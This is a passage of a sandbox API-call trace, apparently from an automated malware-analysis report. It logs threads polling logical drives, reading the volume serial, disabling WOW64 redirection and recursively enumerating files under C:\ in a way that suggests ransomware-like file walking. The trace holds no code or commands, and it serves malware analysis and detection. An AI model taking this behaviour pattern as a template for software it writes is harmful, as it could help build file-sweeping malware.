dwFlags=0x0, lpMem=0x48f518 | out: hHeap=0x470000) returned 1 [0073.599] GetProcessHeap () returned 0x470000 [0073.599] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48dc48 | out: hHeap=0x470000) returned 1 [0073.599] GetProcessHeap () returned 0x470000 [0073.599] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0xa4) returned 0x48f9d8 [0073.599] GetProcessHeap () returned 0x470000 [0073.599] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b260 | out: hHeap=0x470000) returned 1 [0073.599] GetProcessHeap () returned 0x470000 [0073.599] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b290 | out: hHeap=0x470000) returned 1 [0073.599] GetProcessHeap () returned 0x470000 [0073.599] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ae38 | out: hHeap=0x470000) returned 1 [0073.599] GetProcessHeap () returned 0x470000 [0073.599] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b2f0 | out: hHeap=0x470000) returned 1 [0073.599] GetProcessHeap () returned 0x470000 [0073.600] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b248 | out: hHeap=0x470000) returned 1 [0073.600] GetProcessHeap () returned 0x470000 [0073.600] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x18) returned 0x48dc48 [0073.600] GetProcessHeap () returned 0x470000 [0073.600] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xe) returned 0x48b248 [0073.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2755a0, lpParameter=0x48dc48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0073.601] CloseHandle (hObject=0x144) returned 1 [0073.622] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xffffffff) Thread: id = 17 os_tid = 0x5dc [0073.591] GetLogicalDrives () returned 0x4 [0073.592] GetProcessHeap () returned 0x470000 [0073.592] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x489c08 [0073.592] GetProcessHeap () returned 0x470000 [0073.592] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x489be0 [0073.592] GetProcessHeap () returned 0x470000 [0073.592] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x489d20 [0073.592] GetProcessHeap () returned 0x470000 [0073.592] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48ae38 [0073.592] GetProcessHeap () returned 0x470000 [0073.592] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ae38 | out: hHeap=0x470000) returned 1 [0073.592] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x489be0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0073.592] GetProcessHeap () returned 0x470000 [0073.592] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489d20 | out: hHeap=0x470000) returned 1 [0073.592] GetProcessHeap () returned 0x470000 [0073.592] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489c08 | out: hHeap=0x470000) returned 1 [0073.592] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x294fa04, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x294fa04*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0073.592] GetProcessHeap () returned 0x470000 [0073.592] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489be0 | out: hHeap=0x470000) returned 1 [0073.592] GetProcessHeap () returned 0x470000 [0073.592] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x4840d8 [0073.592] GetProcessHeap () returned 0x470000 [0073.593] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x28) returned 0x48a350 [0073.593] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x148 [0073.593] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x14c [0073.593] GetLogicalDrives () returned 0x4 [0073.593] Sleep (dwMilliseconds=0x3e8) [0076.880] GetLogicalDrives () returned 0x4 [0076.880] Sleep (dwMilliseconds=0x3e8) [0079.063] GetLogicalDrives () returned 0x4 [0079.063] Sleep (dwMilliseconds=0x3e8) [0080.250] GetLogicalDrives () returned 0x4 [0080.250] Sleep (dwMilliseconds=0x3e8) [0082.345] GetLogicalDrives () returned 0x4 [0082.345] Sleep (dwMilliseconds=0x3e8) [0085.605] GetLogicalDrives () returned 0x4 [0085.605] Sleep (dwMilliseconds=0x3e8) [0087.955] GetLogicalDrives () returned 0x4 [0087.955] Sleep (dwMilliseconds=0x3e8) [0091.206] GetLogicalDrives () returned 0x4 [0091.206] Sleep (dwMilliseconds=0x3e8) [0094.725] GetLogicalDrives () returned 0x4 [0094.725] Sleep (dwMilliseconds=0x3e8) [0100.396] GetLogicalDrives () returned 0x4 [0100.397] Sleep (dwMilliseconds=0x3e8) [0101.542] GetLogicalDrives () returned 0x4 [0101.543] Sleep (dwMilliseconds=0x3e8) Thread: id = 18 os_tid = 0x7ec [0073.688] GetProcessHeap () returned 0x470000 [0073.688] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x38) returned 0x48b1c0 [0073.688] GetProcessHeap () returned 0x470000 [0073.688] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x18) returned 0x48dc88 [0073.689] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x144 [0073.689] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x150 [0073.689] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x154 [0073.689] GetProcessHeap () returned 0x470000 [0073.689] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x494938 [0073.690] GetProcessHeap () returned 0x470000 [0073.690] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4a4940 [0073.690] GetProcessHeap () returned 0x470000 [0073.690] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x50) returned 0x48e718 [0073.691] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0073.691] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0073.691] Wow64DisableWow64FsRedirection (in: OldValue=0x2aef964 | out: OldValue=0x2aef964*=0x0) returned 1 [0073.691] GetProcessHeap () returned 0x470000 [0073.691] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e718 | out: hHeap=0x470000) returned 1 [0073.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x2753ac, lpParameter=0x2aef96c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158 [0073.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x2753ac, lpParameter=0x2aef96c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180 [0073.711] GetProcessHeap () returned 0x470000 [0073.711] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4d4b68 [0073.712] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2aef6e0 | out: lpFindFileData=0x2aef6e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x48e718 [0073.712] GetProcessHeap () returned 0x470000 [0073.712] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4e4b70 [0073.712] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x492fd0 [0073.713] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.713] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0073.713] GetProcessHeap () returned 0x470000 [0073.713] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f5b80 [0073.714] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x470000, dwReserved1=0x4f6fe8, cFileName=".", cAlternateFileName="")) returned 0x493010 [0073.714] FindNextFileW (in: hFindFile=0x493010, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x470000, dwReserved1=0x4f6fe8, cFileName="..", cAlternateFileName="")) returned 1 [0073.714] FindNextFileW (in: hFindFile=0x493010, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x470000, dwReserved1=0x4f6fe8, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0073.714] SetEvent (hEvent=0x150) returned 1 [0073.715] ResetEvent (hEvent=0x154) returned 1 [0073.715] FindNextFileW (in: hFindFile=0x493010, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x470000, dwReserved1=0x4f6fe8, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0073.715] FindClose (in: hFindFile=0x493010 | out: hFindFile=0x493010) returned 1 [0073.715] GetProcessHeap () returned 0x470000 [0073.715] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f5b80 | out: hHeap=0x470000) returned 1 [0073.715] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0073.715] FindClose (in: hFindFile=0x492fd0 | out: hFindFile=0x492fd0) returned 1 [0073.715] GetProcessHeap () returned 0x470000 [0073.715] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4e4b70 | out: hHeap=0x470000) returned 1 [0073.715] FindNextFileW (in: hFindFile=0x48e718, lpFindFileData=0x2aef6e0 | out: lpFindFileData=0x2aef6e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0073.715] GetProcessHeap () returned 0x470000 [0073.715] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4e5b78 [0073.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x492fd0 [0073.716] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.716] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0073.716] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0073.716] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0073.716] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0073.716] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0073.717] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0073.717] GetProcessHeap () returned 0x470000 [0073.717] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.725] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.725] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.725] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.725] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.726] GetProcessHeap () returned 0x470000 [0073.726] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.726] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0073.726] GetProcessHeap () returned 0x470000 [0073.726] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.726] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.726] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.726] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.726] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.726] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.726] GetProcessHeap () returned 0x470000 [0073.726] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.726] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0073.726] GetProcessHeap () returned 0x470000 [0073.726] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.728] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.728] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, 